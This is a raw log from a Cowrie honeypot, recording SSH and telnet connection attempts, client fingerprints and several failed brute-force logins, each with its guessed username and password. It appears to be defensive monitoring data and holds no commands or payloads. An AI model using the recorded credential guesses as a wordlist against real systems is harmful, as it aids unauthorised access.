{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:51.168648Z","src_ip":"103.77.242.62","session":"fcaafe79f43e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:51.252433Z","src_ip":"103.27.238.118","session":"8ada81bc1fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a713a5d279e","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 0a713a5d279e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:52.415523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:52.420003Z","src_ip":"4.210.91.174","session":"0a713a5d279e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:52.487112Z","src_ip":"4.210.91.174","session":"0a713a5d279e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vinicius","message":"login attempt [root/vinicius] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:52.787500Z","src_ip":"4.210.91.174","session":"0a713a5d279e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:53.857644Z","src_ip":"4.210.91.174","session":"0a713a5d279e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":39246,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5dc5ae646b5","protocol":"ssh","message":"New connection: 103.173.227.57:39246 (10.17.0.5:22) [session: c5dc5ae646b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:59.824361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:59.832454Z","src_ip":"103.173.227.57","session":"c5dc5ae646b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:00.068841Z","src_ip":"103.173.227.57","session":"c5dc5ae646b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:00.781589Z","src_ip":"103.173.227.57","session":"c5dc5ae646b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.53298044204712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:01.133967Z","src_ip":"50.6.8.71","session":"8ff2525f63f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:02.023575Z","src_ip":"103.173.227.57","session":"c5dc5ae646b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.848047494888306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:02.050539Z","src_ip":"50.6.8.71","session":"5f0a29982251","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":59970,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7589f3b4c82","protocol":"ssh","message":"New connection: 50.7.136.106:59970 (159.203.135.109:22) [session: c7589f3b4c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:05.323719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:05.328730Z","src_ip":"50.7.136.106","session":"c7589f3b4c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:05.410922Z","src_ip":"50.7.136.106","session":"c7589f3b4c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fjbdfdjkdsfs541544","message":"login attempt [root/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:05.658622Z","src_ip":"50.7.136.106","session":"c7589f3b4c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:06.744875Z","src_ip":"50.7.136.106","session":"c7589f3b4c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":54592,"dst_ip":"159.203.135.109","dst_port":22,"session":"5edb30948d10","protocol":"ssh","message":"New connection: 200.77.172.159:54592 (159.203.135.109:22) [session: 5edb30948d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:07.132419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:07.137388Z","src_ip":"200.77.172.159","session":"5edb30948d10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:07.207176Z","src_ip":"200.77.172.159","session":"5edb30948d10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:07.513080Z","src_ip":"200.77.172.159","session":"5edb30948d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:08.585693Z","src_ip":"200.77.172.159","session":"5edb30948d10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":46660,"dst_ip":"159.203.135.109","dst_port":22,"session":"11c6f4ff8285","protocol":"ssh","message":"New connection: 46.19.67.181:46660 (159.203.135.109:22) [session: 11c6f4ff8285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:12.260272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:12.265253Z","src_ip":"46.19.67.181","session":"11c6f4ff8285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:12.383331Z","src_ip":"46.19.67.181","session":"11c6f4ff8285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:12.726629Z","src_ip":"46.19.67.181","session":"11c6f4ff8285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59168,"dst_ip":"10.17.0.5","dst_port":23,"session":"22d4c5439569","protocol":"telnet","message":"New connection: 50.6.8.71:59168 (10.17.0.5:23) [session: 22d4c5439569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:13.574726Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:13.843318Z","src_ip":"46.19.67.181","session":"11c6f4ff8285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59152,"dst_ip":"10.17.0.5","dst_port":23,"session":"be3cd9f4a0ee","protocol":"telnet","message":"New connection: 50.6.8.71:59152 (10.17.0.5:23) [session: be3cd9f4a0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:14.339812Z"}
{"eventid":"cowrie.session.closed","duration":31.308817148208618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:15.405167Z","src_ip":"50.6.8.71","session":"c953327ac970","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57418,"dst_ip":"10.17.0.5","dst_port":23,"session":"003e47f45534","protocol":"telnet","message":"New connection: 50.6.8.71:57418 (10.17.0.5:23) [session: 003e47f45534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:19.533998Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57430,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a479c641905","protocol":"telnet","message":"New connection: 50.6.8.71:57430 (10.17.0.5:23) [session: 7a479c641905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:23.221567Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":54534,"dst_ip":"10.17.0.5","dst_port":22,"session":"6735e880a6b3","protocol":"ssh","message":"New connection: 103.75.182.198:54534 (10.17.0.5:22) [session: 6735e880a6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:24.855120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:24.860664Z","src_ip":"103.75.182.198","session":"6735e880a6b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:25.106083Z","src_ip":"103.75.182.198","session":"6735e880a6b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:25.844728Z","src_ip":"103.75.182.198","session":"6735e880a6b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:27.092536Z","src_ip":"103.75.182.198","session":"6735e880a6b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54984,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2d1596e11d","protocol":"telnet","message":"New connection: 50.6.8.71:54984 (10.17.0.5:23) [session: cf2d1596e11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:33.991572Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33722,"dst_ip":"10.17.0.5","dst_port":23,"session":"6711d856ab2f","protocol":"telnet","message":"New connection: 50.6.8.71:33722 (10.17.0.5:23) [session: 6711d856ab2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:37.091301Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33734,"dst_ip":"10.17.0.5","dst_port":23,"session":"201bb1b122c7","protocol":"telnet","message":"New connection: 50.6.8.71:33734 (10.17.0.5:23) [session: 201bb1b122c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:37.197190Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33744,"dst_ip":"10.17.0.5","dst_port":23,"session":"9986630424fb","protocol":"telnet","message":"New connection: 50.6.8.71:33744 (10.17.0.5:23) [session: 9986630424fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:39.282471Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33756,"dst_ip":"10.17.0.5","dst_port":23,"session":"a259c9ab2337","protocol":"telnet","message":"New connection: 50.6.8.71:33756 (10.17.0.5:23) [session: a259c9ab2337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:40.402785Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33762,"dst_ip":"10.17.0.5","dst_port":23,"session":"5282738e2e10","protocol":"telnet","message":"New connection: 50.6.8.71:33762 (10.17.0.5:23) [session: 5282738e2e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:41.473591Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33770,"dst_ip":"10.17.0.5","dst_port":23,"session":"e46700267ad9","protocol":"telnet","message":"New connection: 50.6.8.71:33770 (10.17.0.5:23) [session: e46700267ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:42.651922Z"}
{"eventid":"cowrie.session.closed","duration":32.09990310668945,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:45.674515Z","src_ip":"50.6.8.71","session":"22d4c5439569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60088,"dst_ip":"10.17.0.5","dst_port":23,"session":"d20b4f629158","protocol":"telnet","message":"New connection: 50.6.8.71:60088 (10.17.0.5:23) [session: d20b4f629158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:47.977998Z"}
{"eventid":"cowrie.session.closed","duration":33.73558568954468,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:48.075275Z","src_ip":"50.6.8.71","session":"be3cd9f4a0ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60096,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd1474e660ae","protocol":"telnet","message":"New connection: 50.6.8.71:60096 (10.17.0.5:23) [session: cd1474e660ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:48.583886Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60106,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c1f47e48021","protocol":"telnet","message":"New connection: 50.6.8.71:60106 (10.17.0.5:23) [session: 1c1f47e48021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:50.265915Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60134,"dst_ip":"10.17.0.5","dst_port":23,"session":"06119dfb2b15","protocol":"telnet","message":"New connection: 50.6.8.71:60134 (10.17.0.5:23) [session: 06119dfb2b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:52.245836Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60118,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ac6cef124a5","protocol":"telnet","message":"New connection: 50.6.8.71:60118 (10.17.0.5:23) [session: 0ac6cef124a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:36:52.357231Z"}
